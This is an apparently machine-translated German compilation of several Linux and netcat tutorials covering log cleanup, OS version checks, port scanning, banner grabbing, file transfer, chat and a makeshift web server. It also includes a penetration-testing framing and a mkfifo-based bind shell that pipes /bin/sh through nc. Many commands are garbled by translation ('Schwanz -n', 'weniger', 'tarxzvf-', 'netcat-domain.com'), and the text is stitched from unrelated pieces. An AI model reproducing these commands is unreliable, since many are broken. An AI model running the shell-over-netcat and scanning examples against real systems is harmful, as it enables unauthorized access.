Nützliche Tricks bei der Arbeit mit netcat. Nützliche Beispiele für die Verwendung des netcat-Dienstprogramms in Linux Nc-Beispielen

Diese Notiz wird aufgezeichnet nützliche Befehle für Linux-basierte Systeme, mit denen wir uns auseinandersetzen mussten.

Alte Dateien unter Linux löschen

# find /var/log -mtime +60 -type f -exec rm -rf () \;

BEI dieses Beispiel löscht rekursiv alle Dateien im Verzeichnis /var/log, deren Änderungsdatum älter als 60 Tage ist.

Wie man mit dem Dienstprogramm netcat (nc) "telnet".

# nc -v -w 5 10.200.7.2 -z 1414-1420

V: Zusätzliche Diagnose (ausführlich)

W 5: Timeout (in Sekunden)

10.200.7.2: Host

Z 1414-1420: Anschlussbereich

#nc -v -w 5 10.200.7.2 -z 1414-1420 jetzt in Bearbeitung nc: Verbindung zu 10.200.7.2 Port 1416 (tcp) Zeitüberschreitung: Vorgang läuft jetzt Verbindung zu 10.200.7.2 1417 Port erfolgreich! nc: Verbindung zu 10.200.7.2 Port 1418 (tcp) Timeout: Vorgang wird gerade ausgeführt nc: Verbindung zu 10.200.7.2 Port 1419 (tcp) Timeout: Vorgang wird ausgeführt nc: Verbindung zu 10.200.7.2 Port 1420 (tcp) timed out: Der Vorgang wird gerade ausgeführt

# nc -v -w 5 10.200.7.2 -z 1414-1420

nc: Verbinden mit 10.200.7.2 Port 1414 (TCP) Zeitüberschreitung: Vorgang läuft jetzt

nc: Verbinden mit 10.200.7.2 Port 1415 (TCP) Zeitüberschreitung: Vorgang läuft jetzt

nc: Verbinden mit 10.200.7.2 Port 1416 (TCP) Zeitüberschreitung: Vorgang läuft jetzt

Verbindung zum Port 10.200.7.2 1417 erfolgreich!

nc: Verbinden mit 10.200.7.2 Port 1418 (TCP) Zeitüberschreitung: Vorgang läuft jetzt

nc: Verbinden mit 10.200.7.2 Port 1419 (TCP) Zeitüberschreitung: Vorgang läuft jetzt

nc: Verbinden mit 10.200.7.2 Port 1420 (TCP) Zeitüberschreitung: Vorgang läuft jetzt

So ermitteln Sie die Unix-Version eines Systems

Zunächst verstehen wir, um welche Art von Betriebssystemklasse es sich handelt, indem wir einen Befehl ausgeben, der für alle Unix-Systeme universell ist:

# uname -a

was uns so etwas geben wird:

Linux hostname.com 2.6.18-194.17.4.el5PAE #1 SMP Mo 25. Okt 16:35:27 EDT 2010 i686 i686 i386 GNU/Linux

FreeBSD hostname.com 5.5-STABLE FreeBSD 5.5-STABLE #0: Mittwoch, 5. Dezember, 20:00:38 MSK 2007 [E-Mail geschützt]:/usr/obj/usr/src/sys/GENERIC i386 oder AIX svcas07 3 4 000145364C00

woraus wir entweder klar werden, wer es ist. Um die Version von Linux bereits konkret zu ermitteln:

# cat /proc/version

Linux-Version 2.6.18-194.17.4.el5PAE ( [E-Mail geschützt]) (gcc-Version 4.1.2 20080704 (Red Hat 4.1.2-48)) #1 SMP Mo 25. Okt 16:35:27 EDT 2010

Das heißt, die Linux-Familie und die Kernel-Version sind jetzt bekannt.

Die Red Hat-Familie hat einen detaillierteren Befehl, um die Linux-Version herauszufinden:

# cat /etc/redhat-release

CentOS-Version 5.6 (endgültig)

Nun, dies ist eine umfassende Antwort, aber Red Hat hat auch ein zusätzliches Dienstprogramm installiert Komplett-Set, das detailliertere Informationen über die Linux-Version anzeigt:

# lsb_release -a

LSB-Version: :core-3.1-ia32:core-3.1-noarch:graphics-3.1-ia32:graphics-3.1-noarch Distributor-ID: CentOS Beschreibung: CentOS-Version 5.5 (endgültig) Version: 5.5 Codename: Endgültig

Andere Option:

# cat ls /etc/*(-,_)(release,version) 2>/dev/null | Kopf -n 1

So sehen Sie, wer ein Verzeichnis "hält".

# fuser -uc dir_name

Fixierer- ein Dienstprogramm, das die Prozesse identifiziert, die die angegebenen Dateien oder Sockets verwenden. -cÄhnlich wie die Option -m und wird für die POSIX-Kompatibilität verwendet.

-m name ist eine Datei in einem gemounteten Dateisystem oder einem gemounteten speziellen Blockgerät. Eine Liste aller Prozesse, die Dateien auf diesem Dateisystem verwenden, wird angezeigt. Wenn die angegebene Datei ein Verzeichnis ist, wird name/ automatisch an ihren Namen angehängt. und alle Dateisystem, die in dieses Verzeichnis gemountet werden kann.

-u Hängt an jede PID den Namen des Prozesseigentümers an.

Berechnen Sie, wie viel Speicherplatz ein Verzeichnis einnimmt

# du -sh /var

Ausgabe in MB oder GB.

Anzeigen einer Datei mit der Möglichkeit, nach oben und unten zu scrollen

# weniger file.txt

Abrufen eines beliebigen Datums aus dem System

# Datum -d „Zeichenfolge“

wobei der String folgende Werte enthalten kann: „vor 1 Tag“, „vor 1 Woche“, „vor 1 Jahr“.

Anzeigen der letzten n Zeilen einer Datei

# Schwanz -n

Betrachten Sie beispielsweise die letzten 20 Zeilen: tail -20 access_log

Dateiverfolgung

# tail -f access_log

Der Befehl tail mit der Option f erlaubt Ihnen, die Datei zu überwachen: Neue Zeilen (die von einem anderen Prozess am Ende der Datei hinzugefügt wurden) werden automatisch in Echtzeit auf dem Bildschirm ausgegeben. Dies ist besonders nützlich, um Protokolle zu verfolgen.

Alle Java-Prozesse auflisten

#ps -ef| grep java

Nützlich zum Anzeigen aller Anwendungsserverprozesse.

Arbeiten mit dem access.log des HTTP-Servers

# head -10 access.2014.08.14.log | Schnitt -d ” ” -f 1,8,10 | sortieren | einzigartig

Zeigt die ersten 10 Zeilen aus dem access.2014.08.14.log, sortiert und eliminiert Duplikate, im Format „client_ip/client_domain_name, URL, HTTP code“.

# cat access.2014.08.14.log | Schnitt -d ” ” -f 1,8,10 | sortieren | uniq > access_result.txt

Dasselbe, aber mit Ausgabe in die Datei C:\access_result.txt.

|

Linux-System bekannt für die Tatsache, dass die meisten Distributionen eine riesige Menge an nützliche Dienstprogramme Befehlszeile mit dem Betriebssystem ausgeliefert. Erfahren Systemadministratoren kann die meisten Aufgaben mit integrierten Tools ausführen, ohne dass zusätzliche Software installiert werden muss.

Dieses Handbuch ist der Bedienung des Dienstprogramms gewidmet . Diese Art von "Schweizer Taschenmesser" von Netzwerkwerkzeugen kann beim Überwachen, Testen und Übertragen von Daten über Netzwerkverbindungen nützlich sein.

Dieses Tutorial verwendet einen Ubuntu 12.04-Server, aber im Allgemeinen ist das netcat-Dienstprogramm in fast jeder modernen Distribution verfügbar. Ubuntu wird mit der BSD-Version des Dienstprogramms ausgeliefert, das in diesem Artikel verwendet wird. Andere Versionen funktionieren möglicherweise anders oder bieten andere Optionen.

Allgemeine Syntax

Standardmäßig funktioniert netcat, indem es eine TCP-Verbindung zu einem entfernten Host initiiert.

Grundlegende Syntax:

netcat [Optionen] Hostport

Dieser Befehl initiiert eine TCP-Verbindung zum angegebenen Host am angegebenen Port. Im Grunde funktioniert es wie der alte Linux-Befehl Telnet. Beachten Sie, dass Ihre Verbindung unverschlüsselt aufgebaut wird.

Verwenden Sie die Option -u, um ein UDP-Paket zu senden, anstatt eine TCP-Verbindung herzustellen:

netcat -u Hostport

Um einen Bereich von Ports anzugeben, geben Sie den ersten und den letzten Port des Bereichs getrennt durch einen Bindestrich an:

netcat-Host Erster_Port-Letzter_Port

In der Regel Befehl gegeben mit zusätzlichen Flags verwendet.

Auf den meisten Systemen können Sie netcat oder nc verwenden. Sie sind austauschbar, da sie Aliase für denselben Befehl sind.

Verwendungszweckzum Portscannen

Am häufigsten wird netcat als Port-Scanner verwendet.

Obwohl Netcat wahrscheinlich nicht das Beste ist intelligentes Werkzeug Um diese Aufgabe zu erfüllen (in den meisten Fällen ist nmap dafür besser geeignet), kann es einen einfachen Port-Scan durchführen, um schnell offene Ports zu ermitteln.

Geben Sie dazu eine Reihe von zu scannenden Ports an (wie oben gezeigt) und verwenden Sie auch die Option -z, die scannt, anstatt Verbindungen herzustellen.

Um beispielsweise alle Ports bis Port 1000 zu scannen, führen Sie Folgendes aus:

netcat -z -v domain.com 1-1000

Wie Sie sehen können, verwendet dieser Befehl zusätzlich zur Option -z die Option -v, dank der netcat detailliertere Informationen anzeigt.

Das Ergebnis sieht so aus:

nc: Verbindung zu domain.com Port 1 (TCP) fehlgeschlagen: Verbindung abgelehnt
nc: Verbindung zu domain.com Port 2 (TCP) fehlgeschlagen: Verbindung abgelehnt
nc: Verbindung zu domain.com Port 3 (tcp) fehlgeschlagen: Verbindung abgelehnt
nc: Verbindung zu domain.com Port 4 (TCP) fehlgeschlagen: Verbindung abgelehnt
nc: Verbindung zu domain.com Port 5 (TCP) fehlgeschlagen: Verbindung abgelehnt
nc: Verbindung zu domain.com Port 6 (TCP) fehlgeschlagen: Verbindung abgelehnt
nc: Verbindung zu domain.com Port 7 (TCP) fehlgeschlagen: Verbindung abgelehnt
. . .
Verbindung zu domain.com 22 Port erfolgreich!
. . .

Wie Sie sehen können, druckt dieser Befehl ein ziemlich detailliertes Ergebnis aus und meldet auch, ob der Scan jedes einzelnen Ports erfolgreich war oder nicht.

Dies ist nützlich, wenn Sie einen Domänennamen verwenden.

Durch die Angabe der gewünschten IP-Adressen können Sie den Scan jedoch deutlich beschleunigen. Sie können dann das Flag -n verwenden, um anzugeben, dass Sie die IP-Adresse nicht mit DNS auflösen möchten:

netcat -z -n -v 111.111.111.111 1-1000

Die zurückgegebenen Nachrichten werden an den Standardfehlerstream gesendet. Standardfehlermeldungen können an die Standardausgabe gesendet werden, um die Ergebnisse zu filtern.

Um den Standardfehler auf die Standardausgabe umzuleiten, wird die Bash-Syntax verwendet 2> Die resultierenden Ergebnisse werden mit grep gefiltert:

netcat -z -n -v 111.111.111.111 1-1000 2>&1 | grep war erfolgreich
Verbindung zu 111.111.111.111 22 Port erfolgreich!

So, jetzt sieht man das nur offener Hafen auf einem Remote-Rechner im Bereich 1-1000 ist Port 22 der Standard-SSH-Port.

Kommunikationmit netcat

Der Befehl netcat ist nicht auf das Senden von TCP- und UDP-Paketen beschränkt. Es kann auch an einem Port nach Verbindungen und Paketen lauschen, sodass sich zwei Netcat-Instanzen in einer Client-Server-Beziehung verbinden können.

Welcher Rechner Server und welcher Client ist, spielt nur bei der Ersteinrichtung eine Rolle. Sobald eine Verbindung hergestellt ist, ist die Verbindung in beide Richtungen gleich.

Auf einem Rechner müssen Sie netcat anweisen, einen bestimmten Port auf Verbindungen abzuhören. Dies geschieht mit der Option -l gefolgt von der Portnummer:

Nachdem Sie diesen Befehl ausgeführt haben, wartet netcat auf Port 4444 auf TCP-Verbindungen. Jetzt regelmäßiger Benutzer(nicht root) kann keine Ports bis 1000 öffnen (für die Serversicherheit).

Auf dem zweiten Server müssen Sie über den angegebenen Port eine Verbindung zum ersten Computer herstellen. Dies geschieht auf die gleiche Weise wie zuvor gezeigt:

netcat-domain.com 4444

Nachdem die Verbindung hergestellt wurde, kann es so aussehen, als wäre nichts passiert. Aber jetzt können Sie Nachrichten auf beiden Seiten der Verbindung senden und sie werden auf beiden Servern sichtbar sein.

Geben Sie Ihre Nachricht ein und drücken Sie die EINGABETASTE. Die Nachricht wird sowohl lokal als auch angezeigt entfernter Server. Dies funktioniert auch umgekehrt.

Wenn Sie mit dem Senden von Nachrichten fertig sind, drücken Sie STRG-D, um die TCP-Verbindung zu beenden.

Dateien mit netcat teilen

Nachdem Sie sich mit den Hauptfunktionen des Dienstprogramms vertraut gemacht und die vorherigen Beispiele abgeschlossen haben, können Sie mit komplexeren Aufgaben fortfahren.

Wie bereits erwähnt, erstellt das Dienstprogramm netcat TCP-Verbindungen, die zur Übertragung fast aller Arten von Informationen verwendet werden können, nicht beschränkt auf vom Benutzer eingegebene Nachrichten. Dieses Wissen kann genutzt werden, um netcat in ein Dateiübertragungsprogramm zu verwandeln.

Auch hier müssen Sie einen Computer auswählen, um auf Verbindungen zu lauschen. Anstatt jedoch Informationen auf dem Bildschirm auszugeben (wie im vorherigen Beispiel), legt netcat alle Informationen direkt in einer Datei ab:

netcat -l 4444 > empfangene_Datei

Auf dem zweiten Computer müssen Sie eine einfache Textdatei erstellen:

echo "Hallo, das ist eine Datei" > original_file

Sie können diese Datei nun als Eingabe verwenden, um eine Verbindung zum hörenden Computer herzustellen. Die Datei wird so übertragen, als ob sie im interaktiven Modus eingegeben worden wäre:

netcat-domain.com 4444< original_file

Wie Sie sehen können, hat der Computer, der auf die Verbindung gewartet hat, jetzt eine neue Datei namens "received_file", die die auf dem anderen Computer eingegebenen Daten enthält:

Katze erhielt_Datei
Hallo, das ist eine Datei

Wie Sie sehen können, können solche Verbindungen leicht verwendet werden, um jede Art von Informationen zu übertragen.

Beispielsweise können Sie den Inhalt eines ganzen Verzeichnisses übergeben; Erstellen Sie dazu einen unbenannten Tarball, leiten Sie ihn an das entfernte System weiter und entpacken Sie ihn in ein entferntes Verzeichnis.

Auf der Empfängerseite können Sie den folgenden Befehl verwenden, um Sie zu warnen, die Datei zu erhalten und zu entpacken:

netcat -l 4444 | tarxzvf-

Ein Bindestrich am Ende des Befehls bedeutet, dass der Tarball mit der Standardeingabe arbeitet, die gerade über das Netzwerk geleitet wird, wenn die Verbindung hergestellt ist.

Auf der Seite mit dem Verzeichnis, das Sie übertragen möchten, packen Sie das Verzeichnis in ein Archiv und senden Sie es dann an entfernter Computer mit netcat:

tar-czf-* | netcat-domain.com 4444

Diesmal bedeutet der Bindestrich im tar-Befehl, dass der Inhalt des aktuellen Verzeichnisses (wie durch das *-Symbol angegeben) archiviert und weitergeleitet und das Ergebnis dann in die Standardausgabe geschrieben werden soll.

Diese wird dann auf die TCP-Verbindung geschrieben, an die andere Seite der Verbindung weitergegeben und in das aktuelle Verzeichnis des entfernten Rechners entpackt.

Dies ist nur ein Beispiel für die Übertragung komplexerer Daten von einem Computer auf einen anderen. Häufig kommt auch der Befehl dd zum Einsatz, der auf einer Seite ein Disk-Image erstellt und auf einen entfernten Rechner überträgt. Dieser Ansatz wird jedoch nicht in diesem Leitfaden behandelt.

wie ein einfacher Webserver

Das Dienstprogramm netcat wurde bereits zum Übertragen von Nachrichten und Dateien verwendet. Derselbe Ansatz hilft Ihnen, netcat als einfachen Webserver zu verwenden. Dies kann nützlich sein, um fertige Seiten zu testen.

Zuerst müssen Sie eine HTML-Datei auf einem Server erstellen:

BEI angegebene Datei Sie können den folgenden einfachen Code eingeben:



Testseite


Kopfzeile der Ebene 1


Unterüberschrift


Normaler Text hier






Speichern und schließen Sie die Datei.

Diese Datei kann ohne Root-Rechte nicht auf dem Standard-Webserver-Port (80) bereitgestellt werden. Denn als normaler Benutzer stellen Sie Port 8888 ein.

Um eine Seite zu testen und zu sehen, wie sie gerendert wird, geben Sie Folgendes ein:

netcat -l 8888< index.html

Der Inhalt kann jetzt im Browser angezeigt werden, indem Sie besuchen:

http://server_ip:8888

Dieser Befehl zeigt eine Seite an, nach der die Netcat-Verbindung geschlossen wird. Wenn Sie versuchen, die Seite zu aktualisieren, verschwindet sie.

Netcat kann eine Seite auf unbestimmte Zeit bereitstellen; Dazu müssen Sie den letzten Befehl mit der folgenden Zeile zyklisch machen:

während wahr; mach nc -l 8888< index.html; done

Dann wird die Seite weiterhin Verbindungen empfangen, nachdem die erste Verbindung beendet wurde.

Um die Schleife zu stoppen, geben Sie STRG-C ein.

Dieser Server ermöglicht es Ihnen, zu sehen, wie die Seite im Browser angezeigt wird, bietet jedoch keine weitere Funktionalität. Verwenden Sie niemals einen solchen Webserver, um echte Websites bereitzustellen: Er ist nicht sicher, und einfache Dinge wie Links funktionieren nicht immer richtig.

Ergebnisse

Diese Anleitung stellt die grundlegenden Funktionen und die Verwendung von netcat vor. Da dieses Tool vielseitig ist, kann es verwendet werden, um Probleme zu diagnostizieren und die grundlegende Funktionalität von TCP/UDP-Verbindungen zu testen.

Darüber hinaus können Sie mit netcat Informationen zwischen verschiedenen Computern austauschen und austauschen, was für eine schnelle Benutzerinteraktion sehr wichtig ist. Durch die Vereinfachung der Erstellung einer Verbindung versucht das netcat-Dienstprogramm, die Netzwerkinteraktionen von Computern bequemer, schneller und verständlicher zu machen.

Tags: , nc [-46bCDdhklnrStUuvZz] [-I Länge][-ich Intervall][-Ö Länge][-P Proxy_Benutzername][-p source_port][-q Sekunden][-s Quelle][-T Schlüsselwort][-V tragbar] [-w Auszeit][-X Proxy_Protokoll][-x Proxy-Adresse[:Hafen]] [Ziel] [Hafen]

Optionen

-4 Kräfte nc nur IPv4-Adressen zu verwenden.
-6 Kräfte nc nur IPv6-Adressen zu verwenden.
-b Übertragung zulassen.
-C Als Zeilenende senden.
-D Aktivieren Sie das Debugging auf dem Socket.
-d Versuchen Sie nicht, von stdin zu lesen.
-h nc-Hilfe ausdrucken.
-ICH Länge Gibt die Größe des TCP-Empfangspuffers an.
-ich Intervall Gibt ein Verzögerungszeitintervall zwischen gesendeten und empfangenen Textzeilen an. Verursacht außerdem eine Verzögerungszeit zwischen Verbindungen zu mehreren Ports.
-k Kräfte nc um weiterhin auf eine andere Verbindung zu warten, nachdem die aktuelle Verbindung hergestellt wurde. Es ist ein Fehler, diese Option ohne das zu verwenden -l Möglichkeit.
-l Wird verwendet, um das zu spezifizieren nc sollte auf eine eingehende Verbindung warten, anstatt eine Verbindung zu einem entfernten Host zu initiieren. Es ist ein Fehler, diese Option in Verbindung mit dem zu verwenden -p, -s, oder -z Optionen. Darüber hinaus werden alle Zeitüberschreitungen, die mit der -w Optionen werden ignoriert.
-n Führen Sie keine DNS- oder Service-Lookups für bestimmte Adressen, Hostnamen oder Ports durch .
Länge Gibt die Größe des TCP-Sendepuffers an.
-P Proxy_Benutzername Gibt einen Benutzernamen an, der einem Proxy-Server präsentiert werden soll, der eine Authentifizierung erfordert. Wenn kein Benutzername angegeben ist, wird keine Authentifizierung versucht. Die Proxy-Authentifizierung wird derzeit nur für HTTP CONNECT-Proxys unterstützt.
-p source_port Gibt den Quellport an, den nc verwenden soll, abhängig von Berechtigungseinschränkungen und Verfügbarkeit.
-q Sekunden Warten Sie nach EOF auf stdin die angegebene Anzahl von Sekunden und beenden Sie dann. Wenn Sekunden negativ sind, ewig warten.
-r Gibt an, dass Quell- oder Zielports innerhalb eines Bereichs oder in der Reihenfolge, in der das System sie zuweist, zufällig statt sequentiell ausgewählt werden sollen.
-S Aktiviert die RFC 2385 TCP MD5-Signaturoption.
-s Quelle Gibt die Schnittstelle an, die zum Senden der Pakete verwendet wird. Gibt für UNIX-Domänen-Datagramm-Sockets die lokale temporäre Socket-Datei an, die erstellt und verwendet werden soll, damit Datagramme empfangen werden können. Es ist ein Fehler, diese Option in Verbindung mit dem zu verwenden -l Möglichkeit.
-T Schlüsselwort Ändern Sie den IPv4-TOS-Wert. Schlüsselwort kann einer sein kritisch, Internetkontrolle, kostengünstig, geringe Verzögerung, Netzsteuerung, Durchsatz, Verlässlichkeit, oder einer der DiffServ-Codepunkte: ef, af11 ... af43, cs0 ... cs7; oder eine Zahl in Hex oder Dezimal .
-t Ursachen nc zum Senden von RFC 854 DON"T- und WON"T-Antworten auf RFC 854 DO- und WILL-Anforderungen. Dadurch ist es möglich, nc zum Skripten von Telnet-Sitzungen zu verwenden.
-U Gibt an, UNIX-Domain-Sockets zu verwenden.
-u Verwenden Sie UDP anstelle der Standardoption TCP. Verwenden Sie für UNIX-Domain-Sockets einen Datagramm-Socket anstelle eines Stream-Sockets. Wenn ein UNIX-Domain-Socket verwendet wird, wird ein temporärer Empfangs-Socket in /tmp erstellt, es sei denn, der -s Flagge gegeben.
-V tragbar Legen Sie die zu verwendende Routing-Tabelle fest. Der Standardwert ist 0.
-v haben nc ausführlichere Ausgabe geben.
-w Auszeit Verbindungen, die nicht hergestellt werden können oder nach Timeout-Sekunden im Leerlauf sind. Das -w Flag hat keine Auswirkung auf die -l Möglichkeit, d.h. nc wird für immer auf eine Verbindung warten, mit oder ohne -w Flagge. Der Standardwert ist kein Timeout.
-X Proxy_Protokoll Fordert an, dass nc das angegebene Protokoll verwenden soll, wenn es mit dem Proxy-Server kommuniziert. Unterstützte Protokolle sind " 4 " (SOCKEN v.4), " 5 " (SOCKEN v.5) und " verbinden" (HTTPS-Proxy). Wenn das Protokoll nicht angegeben ist, wird SOCKS Version 5 verwendet.
-x Proxy_Adresse[:Port] Fordert das nc sollte eine Verbindung zum Ziel mithilfe eines Proxys unter herstellen Proxy-Adresse und Hafen. Wenn Hafen nicht angegeben, wird der bekannte Port für das Proxy-Protokoll verwendet (1080 für SOCKS, 3128 für HTTPS).
-Z DCCP-Modus.
-z Gibt an, dass nc nur nach lauschenden Daemons suchen soll, ohne Daten an sie zu senden. Es ist ein Fehler, diese Option in Verbindung mit dem zu verwenden -l Möglichkeit.

Ziel kann eine numerische IP-Adresse oder ein symbolischer Hostname sein (es sei denn, die -n Möglichkeit gegeben). In der Regel muss ein Bestimmungsort angegeben werden, es sei denn, der -l Option angegeben ist (in diesem Fall wird der lokale Host verwendet). Für UNIX-Domänen-Sockets ist ein Ziel erforderlich und ist der Socket-Pfad, zu dem eine Verbindung hergestellt werden soll (oder auf dem zu lauschen ist, wenn die -l Möglichkeit gegeben).

port kann eine einzelne ganze Zahl oder eine Reihe von Ports sein. Bereiche sind in der Form nn-mm. Generell muss ein Zielport angegeben werden, es sei denn der -U Möglichkeit gegeben ist.

Client/Server-Modell

Es ist ziemlich einfach, ein sehr einfaches Client/Server-Modell zu erstellen nc. Starten Sie auf einer Konsole ncÜberwachen Sie einen bestimmten Port auf eine Verbindung. Zum Beispiel:

Nc-l 1234

nc lauscht jetzt auf Port 1234 für eine Verbindung. Stellen Sie auf einer zweiten Konsole (oder einem zweiten Computer) eine Verbindung zu dem Computer und dem Port her, auf dem gelauscht wird:

NC 127.0.0.1 1234

Es sollte nun eine Verbindung zwischen den Ports bestehen. Alles, was auf der zweiten Konsole eingegeben wird, wird mit der ersten verkettet und umgekehrt. Nachdem die Verbindung aufgebaut war nc kümmert sich nicht wirklich darum, welche Seite als 'Server' und welche Seite als 'Client' verwendet wird. Die Verbindung kann mit einem EOF (‘ ^D’).

Es gibt kein -c oder -e Option im modernen Netcat, aber Sie können immer noch einen Befehl ausführen, nachdem die Verbindung hergestellt wurde, indem Sie Dateideskriptoren umleiten. Seien Sie hier vorsichtig, denn das Öffnen eines Ports und das Ausführen beliebiger Befehle auf Ihrer Site durch jeden, der damit verbunden ist, ist GEFÄHRLICH. Wenn Sie dies wirklich tun müssen, hier ein Beispiel:

Auf der „Server“-Seite:

Rm-f /tmp/f; mkfifo /tmp/f Katze /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f

Auf der „Client“-Seite:

nc host.example.com 1234

(Shell-Eingabeaufforderung von host.example.com)

Beginnen Sie mit der Verwendung nc um einen bestimmten Port abzuhören, wobei die Ausgabe in einer Datei erfasst wird:

nc -l 1234 > Dateiname.out

Stellen Sie mit einer zweiten Maschine eine Verbindung zum Abhören her nc verarbeiten und ihm die zu übertragende Datei zuführen:

nc host.example.com 1234< filename.in

Nachdem die Datei übertragen wurde, wird die Verbindung automatisch geschlossen.

Mit Servern sprechen

Manchmal ist es nützlich, mit Servern "von Hand" zu kommunizieren, anstatt über eine Benutzeroberfläche. Es kann bei der Fehlerbehebung hilfreich sein, wenn möglicherweise überprüft werden muss, welche Daten ein Server als Antwort auf vom Client ausgegebene Befehle sendet. Um beispielsweise die Startseite einer Website abzurufen:

Printf "GET / HTTP/1.0\r\n\r\n" | nc host.example.com 80

Beachten Sie, dass dies auch die Header anzeigt, die von gesendet wurden Webserver. Sie können mit einem Tool wie gefiltert werden sed, im Bedarfsfall.

Kompliziertere Beispiele können aufgebaut werden, wenn der Benutzer das vom Server geforderte Anforderungsformat kennt. Als weiteres Beispiel kann eine E-Mail an einen SMTP-Server gesendet werden mit:

NC [-C] localhost 25<< EOF HELO host.example.com MAIL FROM:< >RCPT AN:< >DATA E-Mail-Text. . EOF BEENDEN

Port-Scannen

Es kann hilfreich sein zu wissen, welche Ports geöffnet sind und welche Dienste auf einem Zielcomputer ausgeführt werden. Das -z Flagge kann verwendet werden, um zu sagen nc um offene Ports zu melden, anstatt eine Verbindung zu initiieren. Normalerweise ist es nützlich, die ausführliche Ausgabe an stderr zu aktivieren, indem Sie diese Option in Verbindung mit verwenden -v Möglichkeit.

Nc -zv host.example.com 20-30 Verbindung zu port host.example.com 22 erfolgreich! Verbindung zu port host.example.com 25 erfolgreich!

Der Portbereich wurde angegeben, um die Suche auf Ports zu beschränken 20 - 30 , und wird in aufsteigender Reihenfolge gescannt.

Sie können auch eine Liste der zu scannenden Ports angeben, zum Beispiel:

nc -zv host.example.com 80 20 22 nc: Verbindung zu host.example.com 80 (tcp) fehlgeschlagen: Verbindung abgelehnt nc: Verbindung zu host.example.com 20 (tcp) fehlgeschlagen: Verbindung abgelehnt Verbindung zu host.example .com-Portierung erfolgreich!

Die Ports werden in der von Ihnen angegebenen Reihenfolge gescannt.

Alternativ kann es hilfreich sein zu wissen, welche Serversoftware ausgeführt wird und welche Versionen. Diese Informationen sind oft in den Begrüßungsbannern enthalten. Um diese abzurufen, ist es notwendig, zuerst eine Verbindung herzustellen und die Verbindung dann zu trennen, wenn das Banner abgerufen wurde. Dies kann erreicht werden, indem ein kleines Timeout mit angegeben wird -w Flag, oder vielleicht durch Ausgabe eines "QUIT"-Befehls an den Server:

Echo "BEENDEN" | nc host.example.com 20-30 SSH-1.99-OpenSSH_3.6.1p2 Protokollkonflikt. 220 host.example.com IMS SMTP-Empfänger Version 0.84 Bereit

Beispiele

nc -p 31337 -w 5 host.example.com 42

Öffnet eine TCP-Verbindung zum Port 42 von host.beispiel.com, mit Port 31337 als Quellport, mit einem Timeout von 5 Sekunden.

nc -u host.example.com 53 nc -x10.2.3.4:8080 -Xconnect -Pruser host.example.com 42

Dasselbe wie im obigen Beispiel, aber dieses Mal wird die Proxy-Authentifizierung mit dem Benutzernamen " Räuber", wenn der Proxy dies erfordert.

verwandte Befehle

ifconfig- Anzeigen oder Ändern der Konfiguration von Netzwerkschnittstellen.

In diesem Artikel schaue ich mir das beliebte Netcat-Netzwerkdienstprogramm und einige nützliche Tricks zu seiner Verwendung an.


Netcat ist ein Unix-Dienstprogramm, mit dem Sie TCP- und UDP-Verbindungen aufbauen, Daten von dort empfangen und übertragen können. Trotz seiner Nützlichkeit und Einfachheit wissen viele nicht, wie man es benutzt und umgehen es auf unfaire Weise.


Mit diesem Dienstprogramm können Sie einige Schritte bei der Durchführung von Penetrationstests ausführen. Dies kann nützlich sein, wenn der angegriffene Computer keine installierten Pakete hat (oder Aufmerksamkeit erregen wird), es Einschränkungen gibt (z. B. IoT/eingebettete Geräte) usw.


Was kann mit netcat gemacht werden:

  • Ports scannen;
  • Weiterleitungsports;
  • Sammeln Sie Service-Banner;
  • Listen-Port (Bindung für Rückwärtsverbindung);
  • Dateien herunterladen und hochladen;
  • Rohen HTTP-Inhalt ausgeben;
  • Erstellen Sie einen Mini-Chat.

Im Allgemeinen können Sie mit netcat einen Teil der Unix-Dienstprogramme ersetzen, sodass dieses Tool als eine Art Mähdrescher für die Ausführung bestimmter Aufgaben betrachtet werden kann.

Praktische Beispiele

Wenn es notwendig ist, einen bestimmten Host zu überprüfen, verwenden sie in vielen Fällen Telnet oder ihre eigenen Dienste, um den Host oder das Banner zu identifizieren. Wie netcat uns helfen kann:

Suche nach einem offenen TCP-Port 12345

$ nc -vn 192.168.1.100 12345
nc: Verbindung zu 192.168.1.100 12345 (TCP) fehlgeschlagen: Verbindung abgelehnt

$ nc -v 192.168.1.100 22
Verbindung zu 192.168.1.100 22 Port erfolgreich!
SSH-2.0-OpenSSH

Scannen von TCP-Ports mit netcat:

$nc -vnz 192.168.1.100 20-24

Bei einem solchen Scan erfolgt keine Verbindung zum Port, sondern nur die Ausgabe einer erfolgreichen Verbindung:


nc: Verbindung zu 192.168.1.100 Port 20 (TCP) fehlgeschlagen: Verbindung abgelehnt
nc: Verbindung zu 192.168.1.100 Port 21 (TCP) fehlgeschlagen: Verbindung abgelehnt
0 Vereine gefunden
1 Verbindungen gefunden:
1: Flags = 82
outif en0
src 192.168.1.100 Port 50168
dst 192.168.1.100 Port 22
Ranginfo nicht verfügbar
TCP-Aux-Info verfügbar
Verbindung zu 192.168.1.100 Port 22 erfolgreich!
nc: Verbindung zu 192.168.1.100 Port 23 (TCP) fehlgeschlagen: Verbindung abgelehnt
nc: Verbindung zu 192.168.1.100 Port 24 (TCP) fehlgeschlagen: Verbindung abgelehnt

Scannen von UDP-Ports.

Root-Rechte sind erforderlich, um UDP-Ports mit nmap zu scannen. Wenn sie nicht da sind, kann uns in diesem Fall auch das netcat-Dienstprogramm helfen:


$ nc -vnzu 192.168.1.100 5550-5560
Verbindung zu 192.168.1.100 Port 5555 erfolgreich!

Senden eines UDP-Pakets

$ echo -n "foo" | nc -u -w1 192.168.1.100 161

Dies kann bei der Interaktion mit Netzwerkgeräten nützlich sein.

Empfangen von Daten auf dem UDP-Port und Ausgeben der empfangenen Daten

$ nc -u localhost 7777

Nach der ersten Meldung wird die Ausgabe gestoppt. Wenn Sie mehrere Nachrichten erhalten müssen, müssen Sie while true verwenden:


$ solange wahr; do nc -u localhost 7777; erledigt

Datei Übertragung. Mit netcat können Sie sowohl Dateien empfangen als auch Dateien an einen Remote-Host übertragen:


NC 192.168.1.100 5555< 1.txt
nc -lvp 5555 > /tmp/1.txt

Netcact als einfacher Webserver.

Netcat kann als einfacher Webserver zum Anzeigen von HTML-Seiten fungieren.


$ solange wahr; mach nc -lp 8888< index.html; done

Verwenden Sie einen Browser unter: http://netcat host:8888/index.html. Um die Standard-Webserver-Portnummer 80 zu verwenden, müssen Sie nc mit Root-Rechten ausführen:


$ solange wahr; mach sudo nc -lp 80< test.html; done

Chatten Sie zwischen Knoten

Auf dem ersten Knoten (192.168.1.100):


$nc-lp 9000

Auf dem zweiten Knoten:


$nc 192.168.1.100 9000

